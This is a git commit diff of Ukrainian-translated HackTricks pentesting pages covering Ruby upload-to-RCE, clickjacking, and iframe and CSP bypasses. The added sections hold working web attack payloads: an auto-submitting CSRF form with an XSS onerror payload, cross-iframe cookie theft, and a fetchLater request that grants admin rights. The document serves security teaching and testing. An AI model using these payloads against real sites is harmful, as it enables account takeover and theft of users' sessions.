Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.

This commit is contained in:
Translator 2025-06-15 15:14:09 +00:00
parent 68b4019a48
commit a54e848a0b
4 changed files with 74 additions and 17 deletions

View File

@ -435,6 +435,7 @@
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
- [Python](network-services-pentesting/pentesting-web/python.md)
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)

View File

@ -0,0 +1,9 @@
# Ruby Tricks
{{#include ../../banners/hacktricks-training.md}}
## Завантаження файлів для RCE
Як пояснено в [this article](https://www.offsec.com/blog/cve-2024-46986/), завантаження файлу `.rb` у чутливі каталоги, такі як `config/initializers/`, може призвести до віддаленого виконання коду (RCE) в додатках Ruby on Rails.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -8,11 +8,11 @@
### Трюк з попереднім заповненням форм
Іноді можливо **заповнити значення полів форми, використовуючи GET-параметри під час завантаження сторінки**. Зловмисник може зловживати цією поведінкою, щоб заповнити форму довільними даними та надіслати payload clickjacking, щоб користувач натиснув кнопку Відправити.
Іноді можливо **заповнити значення полів форми, використовуючи GET параметри під час завантаження сторінки**. Зловмисник може зловживати цією поведінкою, щоб заповнити форму довільними даними та надіслати payload clickjacking, щоб користувач натиснув кнопку Відправити.
### Заповнити форму за допомогою Drag\&Drop
Якщо вам потрібно, щоб користувач **заповнив форму**, але ви не хочете прямо просити його написати якусь конкретну інформацію (наприклад, електронну пошту або конкретний пароль, який ви знаєте), ви можете просто попросити його **Drag\&Drop** щось, що запише ваші контрольовані дані, як у [**цьому прикладі**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
Якщо вам потрібно, щоб користувач **заповнив форму**, але ви не хочете прямо просити його ввести якусь конкретну інформацію (таку як електронна пошта або конкретний пароль, який ви знаєте), ви можете просто попросити його **Drag\&Drop** щось, що запише ваші контрольовані дані, як у [**цьому прикладі**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Основний Payload
```css
@ -91,12 +91,12 @@ background: #F00;
Якщо ви виявили **атаку XSS, яка вимагає, щоб користувач натиснув** на якийсь елемент, щоб **запустити** XSS, і сторінка є **вразливою до clickjacking**, ви можете зловживати цим, щоб обманути користувача, змусивши його натиснути кнопку/посилання.\
Приклад:\
Ви знайшли **self XSS** у деяких приватних даних облікового запису (дані, які **тільки ви можете встановити та прочитати**). Сторінка з **формою** для встановлення цих даних є **вразливою** до **Clickjacking** і ви можете **попередньо заповнити** **форму** з GET параметрами.\
Ви знайшли **self XSS** у деяких приватних даних облікового запису (дані, які **тільки ви можете встановити та прочитати**). Сторінка з **формою** для встановлення цих даних є **вразливою** до **Clickjacking**, і ви можете **попередньо заповнити** **форму** з параметрами GET.\
Зловмисник може підготувати **Clickjacking** атаку на цю сторінку, **попередньо заповнивши** **форму** з **XSS payload** і **обманюючи** **користувача** на **відправлення** форми. Отже, **коли форма буде відправлена** і значення будуть змінені, **користувач виконає XSS**.
### DoubleClickjacking
Спочатку [пояснено в цьому пості](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), ця техніка вимагатиме від жертви двічі натиснути на кнопку на спеціально створеній сторінці, розміщеній у певному місці, і використовувати різницю в часі між подіями mousedown і onclick, щоб завантажити сторінку жертви під час подвійного натискання, так що **жертва насправді натискає на легітимну кнопку на сторінці жертви**.
Спочатку [пояснено в цьому пості](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), ця техніка вимагатиме від жертви двічі натиснути на кнопку на спеціально розміщеній кастомній сторінці, і використовувати часові різниці між подіями mousedown і onclick, щоб завантажити сторінку жертви під час подвійного натискання, так що **жертва насправді натискає на легітимну кнопку на сторінці жертви**.
Приклад можна побачити в цьому відео: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
@ -116,17 +116,17 @@ background: #F00;
- Запобігання натисканням на невидимі фрейми.
- Виявлення та сповіщення користувачів про потенційні спроби Clickjacking.
Однак ці скрипти для знищення фреймів можуть бути обійдені:
Однак ці скрипти для зламу фреймів можуть бути обійдені:
- **Налаштування безпеки браузерів:** Деякі браузери можуть блокувати ці скрипти на основі своїх налаштувань безпеки або відсутності підтримки JavaScript.
- **HTML5 iframe `sandbox` атрибут:** Зловмисник може нейтралізувати скрипти для знищення фреймів, встановивши атрибут `sandbox` зі значеннями `allow-forms` або `allow-scripts` без `allow-top-navigation`. Це запобігає перевірці iframe, чи є він верхнім вікном, наприклад,
- **HTML5 iframe `sandbox` атрибут:** Зловмисник може нейтралізувати скрипти для зламу фреймів, встановивши атрибут `sandbox` зі значеннями `allow-forms` або `allow-scripts` без `allow-top-navigation`. Це запобігає перевірці iframe, чи є він верхнім вікном, наприклад,
```html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
```
`allow-forms` та `allow-scripts` значення дозволяють дії в межах iframe, одночасно заважаючи навігації на верхньому рівні. Щоб забезпечити передбачувану функціональність цільового сайту, можуть бути необхідні додаткові дозволи, такі як `allow-same-origin` та `allow-modals`, залежно від типу атаки. Повідомлення консолі браузера можуть вказати, які дозволи слід надати.
`allow-forms` та `allow-scripts` значення дозволяють дії в iframe, одночасно заважаючи навігації на верхньому рівні. Щоб забезпечити належну функціональність цільового сайту, можуть бути необхідні додаткові дозволи, такі як `allow-same-origin` та `allow-modals`, залежно від типу атаки. Повідомлення консолі браузера можуть вказати, які дозволи слід надати.
### Серверні захисти
@ -183,7 +183,7 @@ Content-Security-Policy: child-src 'self' https://trusted-website.com;
#### JavaScript скрипти для зламу фреймів
Хоча вони не є абсолютно надійними, скрипти на основі JavaScript для зламу фреймів можуть бути використані для запобігання тому, щоб веб-сторінка була в фреймі. Приклад:
Хоча вони не є абсолютно надійними, скрипти на основі JavaScript для зламу фреймів можуть бути використані для запобігання вкладанню веб-сторінки у фрейм. Приклад:
```javascript
if (top !== self) {
top.location = self.location

View File

@ -6,9 +6,9 @@
Є 3 способи вказати вміст сторінки в iframe:
- Через `src`, що вказує на URL (URL може бути крос-доменним або того ж домену)
- Через `src`, що вказує на вміст, використовуючи протокол `data:`
- Через `srcdoc`, що вказує на вміст
- Через `src`, вказуючи URL (URL може бути крос-доменним або того ж домену)
- Через `src`, вказуючи вміст за допомогою протоколу `data:`
- Через `srcdoc`, вказуючи вміст
**Доступ до змінних батьківського та дочірнього контексту**
```html
@ -45,13 +45,13 @@ var secret = "child secret"
alert(parent.secret)
</script>
```
Якщо ви отримуєте доступ до попереднього html через http сервер (наприклад, `python3 -m http.server`), ви помітите, що всі скрипти будуть виконані (оскільки немає CSP, що цьому перешкоджає). **батьківський контекст не зможе отримати доступ до змінної `secret` всередині будь-якого iframe** і **тільки iframes if2 та if3 (які вважаються такими ж сайтами) можуть отримати доступ до секрету** в оригінальному вікні.\
Якщо ви отримуєте доступ до попереднього html через http сервер (наприклад, `python3 -m http.server`), ви помітите, що всі скрипти будуть виконані (оскільки немає CSP, що цьому перешкоджає). **батьківський контекст не зможе отримати доступ до змінної `secret` всередині жодного iframe** і **тільки iframes if2 та if3 (які вважаються такими, що належать до одного сайту) можуть отримати доступ до секрету** в оригінальному вікні.\
Зверніть увагу, що if4 вважається таким, що має `null` походження.
### Iframes з CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
> [!NOTE]
> Будь ласка, зверніть увагу, що в наступних обхідних шляхах відповідь на iframe-сторінку не містить жодного заголовка CSP, який заважає виконанню JS.
> [!TIP]
> Будь ласка, зверніть увагу, що в наступних обходах відповідь на iframe-сторінку не містить жодного заголовка CSP, який заважає виконанню JS.
Значення `self` для `script-src` не дозволить виконання JS коду, використовуючи протокол `data:` або атрибут `srcdoc`.\
Однак навіть значення `none` для CSP дозволить виконання iframe, які вказують URL (повний або лише шлях) в атрибуті `src`.\
@ -81,9 +81,9 @@ src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert
![](<../../images/image (372).png>)
Отже, **можливо обійти CSP, якщо ви можете завантажити JS файл на сервер і завантажити його через iframe, навіть з `script-src 'none'`**. Це **можна також зробити, зловживаючи кінцевою точкою JSONP того ж сайту**.
Отже, можливо **обійти CSP, якщо ви можете завантажити JS файл на сервер і завантажити його через iframe, навіть з `script-src 'none'`**. Це **можливо також зробити, зловживаючи кінцевою точкою JSONP того ж сайту**.
Ви можете протестувати це в наступному сценарії, де кукі викрадається навіть з `script-src 'none'`. Просто запустіть додаток і отримайте до нього доступ через ваш браузер:
Ви можете протестувати це з наступним сценарієм, де куки викрадаються навіть з `script-src 'none'`. Просто запустіть додаток і отримайте до нього доступ через ваш браузер:
```python
import flask
from flask import Flask
@ -125,7 +125,7 @@ src='data:text/html,<script defer="true" src="data:text/javascript,document.body
- Будь-яка спроба надсилання форм блокується.
- Виконання скриптів заборонено.
- Доступ до певних API вимкнено.
- Він запобігає взаємодії посилань з іншими контекстами перегляду.
- Запобігає взаємодії посилань з іншими контекстами перегляду.
- Використання плагінів через `<embed>`, `<object>`, `<applet>` або подібні теги заборонено.
- Навігація верхнього рівня контексту перегляду вмістом сама по собі заборонена.
- Функції, які запускаються автоматично, такі як відтворення відео або автоматичне фокусування елементів форм, блокуються.
@ -134,6 +134,53 @@ src='data:text/html,<script defer="true" src="data:text/javascript,document.body
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
```
### Credentialless iframes
Як пояснено в [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), прапорець `credentialless` в iframe використовується для завантаження сторінки всередині iframe без відправки облікових даних у запиті, зберігаючи при цьому політику одного походження (SOP) завантаженої сторінки в iframe.
Це дозволяє iframe отримувати чутливу інформацію з іншого iframe в тому ж SOP, завантаженому на батьківській сторінці:
```javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
```
- Приклад експлуатації: Self-XSS + CSRF
У цій атаці зловмисник готує шкідливу веб-сторінку з 2 iframe:
- Iframe, який завантажує сторінку жертви з прапором `credentialless` з CSRF, що викликає XSS (Уявіть собі Self-XSS у імені користувача):
```html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
- Інший iframe, в якому насправді користувач увійшов в систему (без прапора `credentialless`).
Тоді, з XSS, можливо отримати доступ до іншого iframe, оскільки вони мають одну і ту ж SOP, і вкрасти кукі, наприклад, виконавши:
```javascript
alert(window.top[1].document.cookie);
```
### fetchLater Attack
Як зазначено в [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), API `fetchLater` дозволяє налаштувати запит, який буде виконано пізніше (після певного часу). Тому це можна зловживати, наприклад, для входу жертви в сесію атакуючого (з Self-XSS), налаштувати запит `fetchLater` (щоб змінити пароль поточного користувача, наприклад) і вийти з сесії атакуючого. Потім жертва входить у свою власну сесію, і запит `fetchLater` буде виконано, змінюючи пароль жертви на той, що встановлений атакуючим.
Таким чином, навіть якщо URL жертви не може бути завантажено в iframe (через CSP або інші обмеження), атакуючий все ще може виконати запит у сесії жертви.
```javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})
```
## Iframes в SOP
Перевірте наступні сторінки: